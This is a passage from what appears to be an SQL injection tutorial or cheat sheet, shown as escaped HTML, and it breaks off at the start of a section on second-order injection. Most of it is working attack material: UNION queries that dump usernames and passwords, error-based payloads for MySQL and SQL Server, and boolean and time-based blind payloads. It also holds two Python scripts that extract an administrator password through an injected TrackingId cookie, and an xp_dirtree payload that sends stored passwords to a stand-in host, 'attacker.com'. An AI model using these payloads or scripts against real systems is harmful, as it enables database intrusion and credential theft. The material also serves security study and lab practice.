&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="s1"&gt;'--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Filters for columns within the &lt;code&gt;users&lt;/code&gt; table. This targeted approach avoids overwhelming output and speeds enumeration.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.3 Dump Specific Columns
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT NULL, CONCAT(username, '&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;', password) FROM users--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Concatenates username and password with a delimiter. We pick &lt;code&gt;CONCAT&lt;/code&gt; and &lt;code&gt;:&lt;/code&gt; for readability and easy parsing in results.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Error-Based SQL Injection
&lt;/h2&gt;

&lt;p&gt;When applications display raw database errors, you can force errors to leak data directly by triggering different types of errors. Below are multiple payloads and their purposes:&lt;/p&gt;

&lt;h3&gt;
  
  
  6.1 Conversion Errors
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' AND 1=CONVERT(int,(SELECT @@version))--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Triggers a type conversion error that includes the result of &lt;code&gt;SELECT @@version&lt;/code&gt; in the error message. Useful to identify the database engine and version.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' AND 1=CAST((SELECT user()) AS INT)--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For systems supporting &lt;code&gt;CAST&lt;/code&gt;, this forces a cast error revealing the current database user.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.2 Arithmetic and Function Errors
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' AND (SELECT TOP 1 name FROM sysobjects) LIKE '&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="s1"&gt;' / 0--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Divides by zero when the first table name contains “user”, causing an error if true. This payload combines arithmetic with metadata queries.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' AND JSON_VALUE((SELECT CONCAT('&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;"u"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;"', user(), '"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;')), '&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;') IS NULL--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On SQL Server 2016+, uses &lt;code&gt;JSON_VALUE&lt;/code&gt; to produce an error if JSON is malformed, leaking user() value.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.3 XML-Based Errors (MySQL)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' AND UPDATEXML(1, CONCAT(0x7e, (SELECT user())), 1)--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The invalid &lt;code&gt;updatexml&lt;/code&gt; call raises an XML parsing error containing the username. The hex &lt;code&gt;0x7e&lt;/code&gt; (&lt;code&gt;~&lt;/code&gt;) prefixes the value for easy parsing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' AND EXTRACTVALUE(1, CONCAT(0x3a, (SELECT database())))--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Similar to &lt;code&gt;UPDATEXML&lt;/code&gt;, &lt;code&gt;EXTRACTVALUE&lt;/code&gt; triggers an error embedding the current database name.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Blind SQL Injection
&lt;/h2&gt;

&lt;p&gt;Blind SQLi relies on inference rather than direct output. Here are additional payloads for boolean and time-based variations:&lt;/p&gt;

&lt;h3&gt;
  
  
  7.1 Boolean-Based (Conditional Responses)
&lt;/h3&gt;

&lt;p&gt;Extract data one bit at a time when no data or errors are returned. Below are multiple payloads and their explanations:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payload Example 1:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Cookie: TrackingId=xyz' AND (SELECT COUNT(*) FROM users)--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the count is nonzero, the condition is true and the application may reveal a valid session. Used to test aggregate queries.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payload Example 2:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Cookie: TrackingId=xyz' AND EXISTS(SELECT 1 FROM users WHERE username='admin')--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checks for existence of the ‘admin’ user. True if the user exists, false otherwise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payload Example 3 (Substring Test):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Cookie: TrackingId=xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'), 2, 1) = 'b'--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Targets the second character of the password. By adjusting position and character, you reconstruct the full string.&lt;/p&gt;

&lt;h4&gt;
  
  
  7.1.1 Automating with Python
&lt;/h4&gt;

&lt;p&gt;Click to expand script&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="n"&gt;tracking_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;enter tracking id: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;session_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;enter session id: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;enter url: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 1) Find length
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_length&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="s"&gt;+AND+(select+length(password)+from+users+where+username=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;administrator&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;)=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;--&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="n"&gt;cookies&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TrackingId&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;tracking_id&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;session&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;session_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Welcome back!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;

&lt;span class="c1"&gt;# 2) Extract characters
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;charset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;pos&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;charset&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="s"&gt;+AND+(select+substring(password,&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;,1)+from+users+where+username=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;administrator&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;)=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="n"&gt;cookies&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TrackingId&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;tracking_id&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;session&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;session_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Welcome back!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;

&lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_length&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Password length:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Password:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;get_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This script calculates the password length then iteratively extracts each character using substring checks and boolean feedback.&lt;/p&gt;




&lt;h3&gt;
  
  
  7.2 Time-Based Blind Injection
&lt;/h3&gt;

&lt;p&gt;When no response differences or errors are available, use time delays. Additional payload examples:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payload Example 1 (MySQL SLEEP):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' AND IF((SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='&lt;/span&gt;&lt;span class="n"&gt;administrator&lt;/span&gt;&lt;span class="s1"&gt;') &amp;gt; 109, SLEEP(5), 0)--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checks if the ASCII value of the first character is greater than ‘m’ (109). Sleeps if true, enabling binary search on character values.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payload Example 2 (MSSQL WAITFOR):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;'; IF (SELECT LEN(password) FROM users WHERE username='&lt;/span&gt;&lt;span class="n"&gt;administrator&lt;/span&gt;&lt;span class="s1"&gt;') = 10 WAITFOR DELAY '&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="s1"&gt;'--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Infers password length by sleeping only when the length equals 10.&lt;/p&gt;

&lt;h4&gt;
  
  
  PostgreSQL Delay via Sleep
&lt;/h4&gt;

&lt;p&gt;Click to expand script&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;

&lt;span class="n"&gt;session_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;enter session id: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;enter url: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;charset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;abcdefghijklmnopqrstuvwxyz0123456789&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;pos&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;charset&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="s"&gt;||(SELECT CASE WHEN substring(password,&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;,1)=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users WHERE username=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;administrator&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;)--&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;cookies&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TrackingId&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;session&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;session_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Position &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using an IF condition with &lt;code&gt;pg_sleep&lt;/code&gt; enables bitwise extraction by observing delays. We choose this payload for PostgreSQL environments for its precision and reliability.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Out‑of‑Band (OAST) SQL Injection
&lt;/h2&gt;

&lt;p&gt;When neither data nor error feedback is exposed, trigger external callbacks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;'; EXEC master..xp_dirtree '&lt;/span&gt;&lt;span class="err"&gt;\\&lt;/span&gt;&lt;span class="n"&gt;attacker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="err"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;'+(SELECT password FROM users)+'&lt;/span&gt;&lt;span class="err"&gt;\\&lt;/span&gt;&lt;span class="k"&gt;share&lt;/span&gt;&lt;span class="s1"&gt;'--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This payload instructs the database server to perform a network call to the attacker’s domain, embedding the password in the path. We choose the &lt;code&gt;xp_dirtree&lt;/code&gt; function because it reliably causes DNS resolution in MSSQL environments.&lt;/p&gt;




&lt;h2&gt;
  
  
  9. SQL Injection in Different Contexts
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Second‑Order SQLi:&lt;/strong&gt; Payloads stored in the application (e.g., comments, profiles) are later executed when that data is used in a new SQL context:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
